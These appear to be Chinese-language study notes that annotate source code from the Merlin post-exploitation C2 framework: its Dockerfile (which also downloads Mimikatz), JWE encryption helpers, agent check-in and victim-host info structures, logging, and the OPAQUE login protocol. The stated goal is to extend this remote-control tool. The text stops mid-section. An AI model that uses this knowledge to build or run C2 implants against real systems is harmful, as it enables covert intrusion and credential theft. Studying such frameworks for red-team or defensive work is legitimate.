Merlin远控二次开发-源码阅读笔记(1)

Merlin 远控二次开发

源码分析

DOCKERFILE

  
\# Build the Docker image first  
\#  > sudo docker build -t merlin . 创建Merlin项目  
  
\# To start the Merlin Server, run 在443端口起container，映射日志目录，将c2运行的日志放在merlin-server-log和merlin-agent-logs文件夹中  
\#  > sudo docker run -it -p 443:443 -v ~/merlin-server-log:/opt/merlin/data/log -v ~/merlin-agent-logs:/opt/merlin/data/agents merlin:latest   
  
\# Update APT 更新apt及cmake需要的apt-transport-https及windows平台c/c++需要的gcc-mingw-w64编译器  
RUN apt-get update  
RUN apt-get upgrade -y  
RUN apt-get install -y apt-transport-https vim gcc-mingw-w64 unzip  
  
\# Install Microsoft package signing key 注册 Microsoft 密钥和源  
RUN wget --quiet -O - https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg 安装microsoft公共库秘钥  
RUN mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/  
RUN wget --quiet https://packages.microsoft.com/config/debian/10/prod.list  
RUN mv prod.list /etc/apt/sources.list.d/microsoft-prod.list  
RUN chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg  
RUN chown root:root /etc/apt/sources.list.d/microsoft-prod.list  
  
\# Install Microsoft .NET Core 2.1 SDK 安装 .NET Core SDK  
RUN apt-get update  
RUN apt-get install -y dotnet-sdk-2.1  
  
\# Clone Merlin Server 下载merlin服务端项目源码  
WORKDIR /opt  
RUN git clone --recurse-submodules https://github.com/Ne0nd0g/merlin  
WORKDIR /opt/merlin  
RUN go mod download  
  
\# Clone Merlin Agent 下载merlin客户端项目源码  
WORKDIR /opt/  
RUN git clone https://github.com/Ne0nd0g/merlin-agent  
WORKDIR /opt/merlin-agent  
RUN go mod download  
RUN make all  
  
\# Clone Merlin Agent DLL 下载merlin客户端Dll文件源码  
WORKDIR /opt/  
RUN git clone https://github.com/Ne0nd0g/merlin-agent-dll  
WORKDIR /opt/merlin-agent-dll  
RUN go mod download  
RUN make  
  
\# Build SharpGen 编译.net 加密项目模块  
WORKDIR /opt/merlin/data/src/cobbr/SharpGen  
RUN dotnet build -c release  
  
\# Download Mimikatz 下载mimikatz  
WORKDIR /opt/merlin/data/src/  
RUN wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz\_trunk.zip  
RUN unzip mimikatz\_trunk.zip -d mimikatz  
RUN rm /opt/merlin/data/src/mimikatz\_trunk.zip  
  
\# Port that the agent will communicate with the server on  指定于外界交互的443端口  
EXPOSE 443  
  
WORKDIR /opt/merlin 运行main.go入口文件  
CMD \["go", "run", "main.go"\]

目录结构

2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15                56 .gitattributes  
2022/01/05  23:15    <DIR>          .github  
2022/01/05  23:15                51 .gitignore  
2022/01/05  23:15               114 .gitmodules  
2022/01/05  23:15    <DIR>          data   存放项目启动后存放的日志、数据库、agent向server传输的文件及日志、tls证书文件等文件  
2022/01/05  23:15             1,897 Dockerfile  
2022/01/05  23:15    <DIR>          docs   项目各项模块介绍及说明文档  
2022/01/05  23:15             1,225 go.mod  
2022/01/05  23:15            34,280 go.sum  
2022/01/05  23:15            33,071 LICENSE  
2022/01/05  23:15             2,093 main.go 项目入口文件  
2022/01/05  23:15               818 Makefile  
2022/01/05  23:15    <DIR>          pkg     项目核心库文件  
2022/01/05  23:15             6,058 README.MD  
              10 个文件         79,663 字节  
               6 个目录 24,150,183,936 可用字节

data(模块文件)

2022/01/05  23:15    <DIR>          .  
2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15    <DIR>          agents  存放agent向server传输的文件及日志  
2022/01/05  23:15    <DIR>          log     存放server端日志文件  
2022/01/05  23:15    <DIR>          modules 存放json格式模块文件（类似插件，包含第三方文件github地址及）  
2022/01/05  23:15               484 README.MD  
2022/01/05  23:15    <DIR>          src     存放第三方工具源码  
2022/01/05  23:15    <DIR>          x509    存放cert证书  
               1 个文件            484 字节  
               7 个目录 24,152,489,984 可用字节

docs(Sphinx文档集)

2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15    <DIR>          agent                        存放客户端rst文档（包含agent端描述文档、dll描述文档、使用make自行编译文档）  
2022/01/05  23:15            30,704 CHANGELOG.MD  
2022/01/05  23:15             5,806 conf.py                      Sphinx配置文件    
2022/01/05  23:15             3,272 CONTRIBUTING.MD  
2022/01/05  23:15    <DIR>          images                       文档中涉及的图片  
2022/01/05  23:15             1,672 index.rst                    描述文件索引  
2022/01/05  23:15               599 ISSUE\_TEMPLATE.md  
2022/01/05  23:15               787 make.bat                     由Sphinx quickstart生成  
2022/01/05  23:15               598 Makefile                     由Sphinx quickstart生成  
2022/01/05  23:15    <DIR>          misc                         杂项文档  
2022/01/05  23:15    <DIR>          modules                      模块描述rst文档（模块是预存的agent将执行的一系列操作的json描述文件）  
2022/01/05  23:15               603 PULL\_REQUEST\_TEMPLATE.md   
2022/01/05  23:15    <DIR>          quickStart                   存放快速使用rst文档（包含客户端使用文档、服务端使用文档、和答疑文档）  
2022/01/05  23:15    <DIR>          server                       存放服务端rst文档（tls证书描述文件、服务端各项目录描述文档【agent、listener、main、modules】）  
2022/01/05  23:15    <DIR>          \_build                       各文档生成过程中的编译文件树文档  
               8 个文件         44,041 字节  
               9 个目录 22,375,784,448 可用字节

Sphinx是一个工具，她能够轻易地创建文档，此处为sphinx-build 脚本构建了一个Sphinx文档集

pkg（项目核心源码）

2022/01/05  23:15    <DIR>          ..  
2022/01/05  23:15    <DIR>          agents  
2022/01/05  23:15    <DIR>          api  
2022/01/05  23:15    <DIR>          cli  
2022/01/05  23:15    <DIR>          core  
2022/01/05  23:15    <DIR>          handlers  
2022/01/05  23:15    <DIR>          jobs  
2022/01/05  23:15    <DIR>          listeners  
2022/01/05  23:15    <DIR>          logging  
2022/01/05  23:15             1,008 merlin.go                 定义了包名、版本、和编译参数为非发布（norealease）  
2022/01/05  23:15    <DIR>          messages  
2022/01/05  23:15    <DIR>          modules  
2022/01/05  23:15    <DIR>          opaque  
2022/01/05  23:15    <DIR>          pwnboard  
2022/01/05  23:15               129 README.MD  
2022/01/05  23:15    <DIR>          server  
2022/01/05  23:15    <DIR>          servers  
2022/01/05  23:15    <DIR>          util  
               2 个文件          1,137 字节  
              17 个目录 22,401,064,960 可用字节

源码

main.go

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package merlin             声明了包名  
  
// Version is a constant variable containing the version number for the Merlin package  
const Version \= "1.2.0"   定义了静态变量版本号  
  
// Build is the unique number based off the git commit in which it is compiled against  
var Build \= "nonRelease"  声明了编译变量为非发布   

core

core.go

包括是否开启调试模式、当前项目路径、是否输出详细信息、随机生成任意长度随机字符算法RandStringBytesMaskImprSrc、jwe加解密算法

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package core  
  
import (  
    // Standard     引用的官方库文件  
    "bytes"  
    "crypto/rsa"  
    "encoding/gob"  
    "fmt"  
    "math/rand"  
    "os"  
    "time"  
  
    // 3rd Party     引用第三方库  
    "gopkg.in/square/go-jose.v2"  
  
    // Merlin  
    "github.com/Ne0nd0g/merlin/pkg/messages"          //引用本项目messages  
)  
  
// Debug puts Merlin into debug mode and displays debug messages  
var Debug \= false   //关闭调试模式  
  
// Verbose puts Merlin into verbose mode and displays verbose messages  
var Verbose \= false  //关闭详细信息输出  
  
// CurrentDir is the current directory where Merlin was executed from  
var CurrentDir, \_ \= os.Getwd()            //获取当前路径  
var src \= rand.NewSource(time.Now().UnixNano())           //使用当前时间戳作为随机数种子  
  
// Constants  
const (  
    letterIdxBits \= 6                    // 6 bits to represent a letter index  
    letterIdxMask \= 1<<letterIdxBits \- 1 // All 1-bits, as many as letterIdxBits letteridmask = letterIdxBits右移一位-1即63  
    letterIdxMax  \= 63 / letterIdxBits   // # of letter indices fitting in 63 bits  63/6=10  
    letterBytes   \= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"  
)  
  
  
  
  
  
// RandStringBytesMaskImprSrc generates and returns a  //random string of n characters long   
func RandStringBytesMaskImprSrc(n int) string {        //生成n个字节长度的随机字符  
    // http://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang  
    b :\= make(\[\]byte, n)           //b为长度n的byte 数组  
    // A src.Int63() generates 63 random bits, enough for letterIdxMax characters!  
  
 //src.Int63() 生成 63 个随机位，足以容纳 letterIdxMax 个字符  
 //Int63n从默认Source返回\[0，n）中的非负伪随机数作为int64  
 //int64是64位有符号整数类型。这意味着它具有1个符号位和63个有效位。这意味着任何返回非负 int64的东西都会产生63位数据（第64位（符号位）将始终具有相同的值）  
                                                 
    for i, cache, remain :\= n\-1, src.Int63(), letterIdxMax; i \>= 0; {  //i位n个字符数组下标，cache为随机数，remain=10  
        if remain \== 0 {  
            cache, remain \= src.Int63(), letterIdxMax                 // cache为19位数字   
        }  
        if idx :\= int(cache & letterIdxMask); idx < len(letterBytes) {  //按位与生成63以内数字，且数字在随机字符集下标内，为随机字符数组对应下标字符赋值  
            b\[i\] \= letterBytes\[idx\]   
            i\--  
        }  
        cache \>>= letterIdxBits                                       //cache = cache>>6 cache向右位移6位，用新的6位随机数去相与，共64位  
        remain\--                                                         //10次用尽生成新的随机数  
}  
    return string(b)  
}  
  
// DecryptJWE takes provided JWE string and decrypts it using the per-agent key 对jwe秘钥进行解密  
func DecryptJWE(jweString string, key \[\]byte) (messages.Base, error) {  
    var m messages.Base      
/\*    type Base struct {  
    Version float32     \`json:"version"\`  
    ID      uuid.UUID   \`json:"id"\`  
    Type    int         \`json:"type"\`  
    Payload interface{} \`json:"payload,omitempty"\`  
    Padding string      \`json:"padding"\`  
    Token   string      \`json:"token,omitempty"\`  
}  
      
    message.base struct结构  
\*/  
      
      
    // Parse JWE string back into JSONWebEncryption  
    jwe, errObject :\= jose.ParseEncrypted(jweString)                        //go-jose加密解密包，解析（反序列化？）输入的jwe加密字符串  
    if errObject != nil {  
        return m, fmt.Errorf("there was an error parseing the JWE string into a JSONWebEncryption object:\\r\\n%s", errObject)  
}  
  
    // Decrypt the JWE  
    jweMessage, errDecrypt :\= jwe.Decrypt(key)                         //对解析过的反序列化对象串根据输入的key进行解密  
    if errDecrypt != nil {  
        return m, fmt.Errorf("there was an error decrypting the JWE string:\\r\\n%s", errDecrypt.Error())  
}  
  
    // Decode the JWE payload into a messages.Base struct  
    errDecode :\= gob.NewDecoder(bytes.NewReader(jweMessage)).Decode(&m) //解码jweMessage并写入变量m中  
      
    /\*  
    gob包（"encoding/gob"）管理gob流——在encoder（编码器，也就是发送器）和decoder（解码器，也就是接受器）之间交换的字节流数据（gob 就是 go binary的缩写）。一般用于传递远端程序调用（RPC）的参数和结果。  
  
要使用gob，通过调用NewEncoder()方法先创建一个编码器，并向其提供一系列数据；然后在接收端，通过调用NewDecoder()方法创建一个解码器，它从数据流中恢复数据并将它们填写进本地变量里  
\*/  
      
      
    if errDecode != nil {  
        return m, fmt.Errorf("there was an error decoding JWE payload message sent by an agent:\\r\\n%s", errDecode.Error())  
}  
  
    return m, nil //返回message.base结构体  
}  
  
// GetJWESymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the  
// provided input key           jwe对称加密函数  
func GetJWESymetric(data \[\]byte, key \[\]byte) (string, error) {  
    //   Keys used with AES GCM must follow the constraints in Section 8.3 of  
    //   \[NIST.800-38D\], which states: "The total number of invocations of the  
    //   authenticated encryption function shall not exceed 2^32, including  
    //   all IV lengths and all instances of the authenticated encryption  
    //   function with the given key".  In accordance with this rule, AES GCM  
    //   MUST NOT be used with the same key value more than 2^32 times. == 4294967296  
    //   TODO ensure no more than 4294967295 JWE's are created using the same key  
   // 与 AES GCM 一起使用的密钥必须遵循 \[NIST.800-38D\] 的第 8.3 节中的约束，其中指出：“经过身份验证的加密函数的调用总数不得超过 2^32，包括所有 IV 长度和所有 具有给定密钥的经过身份验证的加密函数的实例”。 根据此规则，AES GCM 不得与相同的密钥值一起使用超过 2^32 次。 == 4294967296  
// TODO 确保使用相同的密钥创建不超过 4294967295 个 JWE  
      
    //balabala好多废话，大概就是相同key可加密出4294967295不同的jwe  
    encrypter, encErr :\= jose.NewEncrypter(jose.A256GCM,  
        jose.Recipient{  
            Algorithm: jose.PBES2\_HS512\_A256KW, // Creates a per message key encrypted with the passed in key  
            //Algorithm: jose.DIRECT, // Doesn't create a per message key  
            PBES2Count: 500000,  
            Key:        key},  
        nil)  
/\* type Recipient ¶  
type Recipient struct {  
    Algorithm  KeyAlgorithm  
    Key        interface{}  
    KeyID      string  
    PBES2Count int  
    PBES2Salt  \[\]byte  
}  
  
PBES2Count 和 PBES2Salt 对应于基于密码的加密算法 PBES2-HS256+A128KW、PBES2-HS384+A192KW 和 PBES2-HS512+A256KW 中使用的“p2c”和“p2s”标头。  
如果未提供它们，则将使用安全默认值 100000 进行计数，并将生成 128 位随机盐。  
  
\*/  
      
      
    if encErr != nil {  
        return "", fmt.Errorf("there was an error creating the JWE encryptor:\\r\\n%s", encErr)  
}  
    jwe, errJWE :\= encrypter.Encrypt(data)  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error encrypting the Authentication JSON object to a JWE object:\\r\\n%s", errJWE.Error())  
}  
  
    serialized, errSerialized :\= jwe.CompactSerialize()  
    if errSerialized != nil {  
        return "", fmt.Errorf("there was an error serializing the JWE in compact format:\\r\\n%s", errSerialized.Error())  
}  
  
    // Parse it to make sure there were no errors serializing it  
    \_, errJWE \= jose.ParseEncrypted(serialized)  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error parsing the encrypted JWE:\\r\\n%s", errJWE.Error())  
}  
  
    return serialized, nil  
}  
  
// GetJWEAsymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the  
// provided input RSA public key             jwe非对称加密函数  
func GetJWEAsymetric(data \[\]byte, key \*rsa.PublicKey) (string, error) {   
    // TODO change key algorithm to ECDH  
    encrypter, encErr :\= jose.NewEncrypter(jose.A256GCM, jose.Recipient{Algorithm: jose.RSA\_OAEP, Key: key}, nil)  
    调用jose创建一个加密器  
      
    jose.A256GCM，即enc表示的是使用的加密分组是多少位，并采用哪种方式，enc\=A256GCM,表示使用256位分组的GCM加密方式   
      
    加密明文内容的rsa算法和公钥  
    type Recipient struct {  
    Algorithm  KeyAlgorithm  
    Key        interface{}  
    KeyID      string  
    PBES2Count int  
    PBES2Salt  \[\]byte  
}  
      
      
      
    if encErr != nil {  
        return "", fmt.Errorf("there was an error creating the agent encryptor:\\r\\n%s", encErr)  
}  
    jwe, errJWE :\= encrypter.Encrypt(data)  对数据进行加密生成jwe对象  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error encrypting the data into a JWE object:\\r\\n%s", errJWE.Error())  
}  
  
    serialized, errSerialized :\= jwe.CompactSerialize() 对加密后的jwe对象进行序列化  
    if errSerialized != nil {  
        return "", fmt.Errorf("there was an error serializing the JWE in compact format:\\r\\n%s", errSerialized.Error())  
}  
  
    // Parse it to make sure there were no errors serializing it  
    \_, errJWE \= jose.ParseEncrypted(serialized) 判断是否可以以序列化格式解析加密后的消息  
    if errJWE != nil {  
        return "", fmt.Errorf("there was an error parsing the encrypted JWE:\\r\\n%s", errJWE.Error())  
}  
  
    return serialized, nil  判断可以解析成功后返回序列化后的jwe加密对象  
}  

jwe的5个组成部分:  
JWE header: 描述用于创建jwe加密密钥和jwe密文的加密操作，类似于jws中的header。参数不一一描述，详情请见jwe header参数  
  
JWE Encrypted Key：用来加密文本内容所采用的算法。  
  
JWE initialization vector: 加密明文时使用的初始化向量值，有些加密方式需要额外的或者随机的数据。这个参数是可选的。  
  
JWE Ciphertext:明文加密后产生的密文值。  
  
JWE Authentication Tag：数字认证标签。  
  
  
 //一个完整的jwe json结构 { "protected":"jwe受保护的header头", "unprotected":"JWE Shared Unprotected Header数据", "header":"", "encrypted\_key":"密钥加密后数据 ", "aad":"额外的认证数据", "iv":"同上的 JWE initialization vector", "ciphertext":"同上的JWE Ciphertext", "tag":"同上的JWE Authentication Tag" }  
   
 jwe创建流程:  
 Base64.encode(header)+"."+Base64.encode(encrypted\_key)+","+Base64.encode(iv)+"."+Base64.encode(ciphertext)+"."Base64.encode(tag)

JWS认证图

JWE认证图

message

messages.go

定义agent传递的一系列信息的结构体

gob 一般性调用编码解码  
  
func senMsg()error {  
    fmt.Print("开始执行编码（发送端）")  
    
    enc := gob.NewEncoder(&network)  
    sendMsg:=MsgData{3, 4, 5, "jiangzhou"}  
    fmt.Println("原始数据：",sendMsg)  
    err := enc.Encode(&sendMsg)  
    fmt.Println("传递的编码数据为：",network)  
    return  err  
}  
func revMsg()error {  
    var revData MsgData  
    dec:=gob.NewDecoder(&network)  
    err:= dec.Decode(&revData) //传递参数必须为 地址  
    fmt.Println("解码之后的数据为：",revData)  
    return err  
}  
  
编码的数据中有空接口类型，传递时赋值的空接口为：基本类型（int、float、string）、切片时，可以不进行注册  
fmt.Print("开始执行编码（发送端）")   
    enc := gob.NewEncoder(&network)   
    s:=make(\[\]string,0)  
    s=append(s, "hello")  
    //sendMsg:=MsgData{3, 4, 5, "jiangzhou",Msg{10001,"hello"}}  
    //sendMsg:=MsgData{3, 4, 5, "jiangzhou",66.66}  
    sendMsg:=MsgData{3, 4, 5, "jiangzhou",s}  
  
编码的数据中有空接口类型，传递时赋值的空接口为：map、struct时，必须进行注册。Register和RegisterName解决的主要问题是：当编解码中有一个字段是interface{}（interface{}的赋值为map、结构体时）的时候需要对interface{}的可能产生的类型进行注册  
func senMsg()error {  
    fmt.Print("开始执行编码（发送端）")  
    
    enc := gob.NewEncoder(&network)  
    
   m:=make(map\[int\]string)  
    m\[10001\]="hello"  
    m\[10002\]="jiangzhou"  
    gob.Register(map\[int\]string{}) //TODO：进行了注册  
    sendMsg:=MsgData{3, 4, 5, "jiangzhou",m}  
    fmt.Println("原始数据：",sendMsg)  
    err := enc.Encode(&sendMsg)  
    fmt.Println("传递的编码数据为：",network)  
    return  err  
}  
  
  
  

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package messages  
  
import (  
	// Standard  
	"crypto/rsa"  
	"encoding/gob" gob包用于二进制流传递参数（值），常用于远程调用传递值（RPC）  
	"fmt"  
  
	// 3rd Party  
	"github.com/satori/go.uuid"  
)  
  
// init registers message types with gob that are an interface for Base.Payload  
func init() {  
	gob.Register(KeyExchange{})  
	gob.Register(AgentInfo{})  
	gob.Register(SysInfo{})  
}  
  
  
  
const (  
  
	// To Server  
  
	// CHECKIN is used by the Agent to identify that it is checking in with the server  
	CHECKIN = 1 // StatusCheckIn 被agent用于标识他正在与server进行检入  
	// OPAQUE is used to denote that embedded message contains an opaque structure  
	OPAQUE = 2 用于标识传递的（嵌入的）消息包含不透明的结构体  
	// JOBS is used to denote that the embedded message contains a list of job structures  
	JOBS = 3 用来标识传递的（嵌入的）包含一份job结构的结构体  
	// KEYEXCHANGE is used to denote that embedded message contains a key exchange structure  
	KEYEXCHANGE = 4 用于标识传递的（嵌入的）包含一个交换秘钥的结构体  
  
	// To Agent  
  
	// IDLE is used to notify the Agent that server has no tasks and that the Agent should idle  
	IDLE = 10 用于通知agent没有任务，应该空闲  
)  
  
远控使用http协议沟通，传递的基础结构体如下：版本、id、类型、攻击载荷、字节填充、token  
// Base is the base JSON Object for HTTP POST payloads   
type Base struct {  
	Version float32     \`json:"version"\`  
	ID      uuid.UUID   \`json:"id"\`  
	Type    int         \`json:"type"\`  
	Payload interface{} \`json:"payload,omitempty"\`  
	Padding string      \`json:"padding"\`  
	Token   string      \`json:"token,omitempty"\`  
}  
  
// KeyExchange is a JSON payload used to exchange public keys for encryption  
KeyExchange结构体包含一个rsa公钥  
type KeyExchange struct {  
	PublicKey rsa.PublicKey \`json:"publickey"\`  
}  
  
// SysInfo is a JSON payload containing information about the system where the agent is running  
返回的受害主机的信息结构体（平台信息、结构（？）、受害主机用户名、guid、主机名、进程名、进程id、ip信息、域名）  
type SysInfo struct {  
	Platform     string   \`json:"platform,omitempty"\`  
	Architecture string   \`json:"architecture,omitempty"\`  
	UserName     string   \`json:"username,omitempty"\`  
	UserGUID     string   \`json:"userguid,omitempty"\`  
	HostName     string   \`json:"hostname,omitempty"\`  
	Process      string   \`json:"process,omitempty"\`  
	Pid          int      \`json:"pid,omitempty"\`  
	Ips          \[\]string \`json:"ips,omitempty"\`  
	Domain       string   \`json:"domain,omitempty"\`  
}  
  
// AgentInfo is a JSON payload containing information about the agent and its configuration  
agent的信息结构体（agent版本、编译信息（？）、延时、最大填充字节数、最多重复数、准入校验失败标识符、歪曲（？）、proto信息（？）、agent被杀时间、ja3指纹）  
type AgentInfo struct {  
	Version       string  \`json:"version,omitempty"\`  
	Build         string  \`json:"build,omitempty"\`  
	WaitTime      string  \`json:"waittime,omitempty"\`  
	PaddingMax    int     \`json:"paddingmax,omitempty"\`  
	MaxRetry      int     \`json:"maxretry,omitempty"\`  
	FailedCheckin int     \`json:"failedcheckin,omitempty"\`  
	Skew          int64   \`json:"skew,omitempty"\`  
	Proto         string  \`json:"proto,omitempty"\`  
	SysInfo       SysInfo \`json:"sysinfo,omitempty"\`  
	KillDate      int64   \`json:"killdate,omitempty"\`  
	JA3           string  \`json:"ja3,omitempty"\`  
}  
  
// String returns the text representation of a message constant  
根据传递的类型值返回类型的string信息  
func String(messageType int) string {  
	switch messageType {  
	case KEYEXCHANGE:  
		return "KeyExchange"  
	case CHECKIN:  
		return "StatusCheckIn"  
	case JOBS:  
		return "Jobs"  
	case OPAQUE:  
		return "OPAQUE"  
	case IDLE:  
		return "Idle"  
	default:  
		return fmt.Sprintf("Invalid: %d", messageType)  
	}  
}  

logging

logging.go

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package logging  
  
import (  
   // Standard  
   "fmt"  
   "os"  
   "path/filepath"  
   "time"  
  
   // 3rd Party  
   "github.com/fatih/color" 定义输出ascii字体颜色的包  
  
   // Merlin  
   "github.com/Ne0nd0g/merlin/pkg/core"   
)  
  
var serverLog \*os.File   
  
func init() {  
  
   // Server Logging 检测项目根目录下是否存在/data/log/merlinServerLog.txt,如果没有则报错，紧接着调用os.MkdirAll创建目录并创建日志文件  
   if \_, err := os.Stat(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt")); os.IsNotExist(err) {  
      errM := os.MkdirAll(filepath.Join(core.CurrentDir, "data", "log"),  )  
      if errM != nil {  
         message("warn", "there was an error creating the log directory")  
      }  
      serverLog, errC := os.Create(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt"))  
      if errC != nil {  
         message("warn", "there was an error creating the merlinServerLog.txt file")  
         return  
      }  
      // Change the file's permissions 修改日志文件权限为0600 ，owner只有读写权限  
      errChmod := os.Chmod(serverLog.Name(), 0600)  
      if errChmod != nil {  
         message("warn", fmt.Sprintf("there was an error changing the file permissions for the agent log:\\r\\n%s", errChmod.Error()))  
      }  
      if core.Debug { 如果是debug模式输入日志  
         message("debug", fmt.Sprintf("Created server log file at: %s\\\\data\\\\log\\\\merlinServerLog.txt", core.CurrentDir))  
      }  
   }  
  
   var errLog error  
   serverLog, errLog = os.OpenFile(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt"), os.O\_APPEND|os.O\_WRONLY, 0600) 打开只写模式打开文件  
   if errLog != nil {  
      message("warn", "there was an error with the Merlin Server log file")  
      message("warn", errLog.Error())  
   }  
}  
  
// Server writes a log entry into the server's log file  
func Server(logMessage string) { 向日志写入时间和传入的日志信息  
   \_, err := serverLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), logMessage))  
   if err != nil {  
      message("warn", "there was an error writing to the Merlin Server log file")  
      message("warn", err.Error())  
   }  
}  
  
// Message is used to print a message to the command line  
func message(level string, message string) { 根据传入的level等级向控制台输出不同颜色的调试信息  
   switch level {  
   case "info":  
      color.Cyan("\[i\]" + message)  
   case "note":  
      color.Yellow("\[-\]" + message)  
   case "warn":  
      color.Red("\[!\]" + message)  
   case "debug":  
      color.Red("\[DEBUG\]" + message)  
   case "success":  
      color.Green("\[+\]" + message)  
   default:  
      color.Red("\[\_-\_\]Invalid message level: " + message)  
   }  
}  
  
// TODO configure all message to be displayed on the CLI to be returned as errors and not written to the CLI here

opaque

opaque.go

opaque是一种非对称加密传输进行非明文传输密码进行身份校验的身份校验算法  
  
参考文档   
  
https://www.diglog.com/story/1042842.html  
https://www.bilibili.com/read/cv10357653  
  
OPAQUE是两个密码协议名称的组合：OPRF和PAKE  
OPRF代表“遗忘伪随机函数”，这是一种协议，通过该协议，双方可以计算确定性的函数F（key，x），但输出看似随机的值。一方输入值x，另一方输入键，输入x的一方学习结果F（key，x），但不学习键，提供键的一方学不到任何东西。 （您可以在此处深入了解OPRF的数学方法：https：//blog.cloudflare.com/privacy-pass-the-math/）  
  
OPAQUE算法分为两个过程，注册和登录。  
  
注册流程  
(盗图自irtf)  
  
  
注册流程发生在客户端C和服务器端S之间。这一过程要求S和C能够相互确认(就是说，用户要确认对方不是钓鱼网站，网站(如果有需要的话)要能确认用户身份)，这也是OPAQUE唯一需要经认证的信道流程。  
  
在开始时，C需要准备好口令password并生成一对密钥对\*creds。C对于每一个账户都应当生成新的密钥对。S需要预先准备好密钥对server\_private\_key和server\_public\_key。S可以对许多不同用户使用同一密钥对。  
  
“密钥对”是一个词，指互相对应的公钥-私钥组成的一对密钥。  
  
之后，C将口令随机化得到(r, M), 并将M发送至S。  
  
S在收到请求后，需要生成OPRF私钥oprf\_key，然后使用oprf\_key处理M得到Z，并将Z返回。  
  
C使用返回的Z，明文口令password和第一步得到的r计算Y。之后，C将creds私钥用Y处理，得到经过加密的私钥，然后和明文的creds公钥一起返回至S。S将C的明文公钥，加密私钥和oprf\_key一同记录账户中，从而完成注册流程。  
  
登录流程  
(盗图自irtf)  
登录的第一步，是C根据明文密码取得私钥并解密。  
  
首先，C根据明文口令password计算(r, M)，需要注意的是这里的(r, M)每次都是不同的。之后，C将M发送至S。  
  
S使用M和oprf\_key得到Z，并将Z和加密私钥共同返回。  
  
C使用Z，r，password计算Y。如果password正确，每次得到的Y应当是相同的。C使用Y解密加密私钥，从而将其恢复为明文私钥。  
  
C仅使用密码重新得到私钥，从而进入登录的下一个环节。  
  
之后，像传统的登录流程一样，C和S通过密钥对creds建立会话。会话成功建立从而登录流程结束。  
  
当然，适用于OPAQUE的“下一步”和传统的流程并不完全相同，CFRG建议了包括3DH和SIGMA-I等在内的一些选项，而根据Tatiana Bradley的研究，TLS也是可用的。  
  
  
  
整个流程中，S只接触了由口令随机化得到的M，却并没有接触明文口令，而M值每次都是不同的。C仅仅在登录时生成了creds，并将其加密后转交S存储。OPAQUE实现了在C端不存储私钥，而是在登录时根据口令恢复私钥；同时在S端不存储口令，而是存储OPRF私钥和加密的用户私钥。从而完成了aPAKE的要求。由于OPRF流程的使用，OPAQUE能够有效对抗预计算攻击，从而在服务器遭受入侵或泄露的情况下依然能保证用户凭据的安全。  
  
  
Gopaque 在 Go 中实现了 OPAQUE 协议  
API文档  
https://pkg.go.dev/github.com/cretz/gopaque/gopaque  
  
注册流程¶  
OPAQUE 注册是从用户向服务器注册的用户开始的 3 条消息过程。用户需要的唯一输入是密码，注册后，服务器有信息来执行身份验证。  
  
用户的步骤是：  
  
1 - 使用用户 ID 创建一个 NewUserRegister  
  
2 - 使用密码调用 Init 并将生成的 UserRegisterInit 发送到服务器  
  
3 - 接收服务器的 ServerRegisterInit  
  
4 - 使用服务器的 ServerRegisterInit 调用 Complete 并将生成的 UserRegisterComplete 发送到服务器  
  
服务器的步骤是：  
  
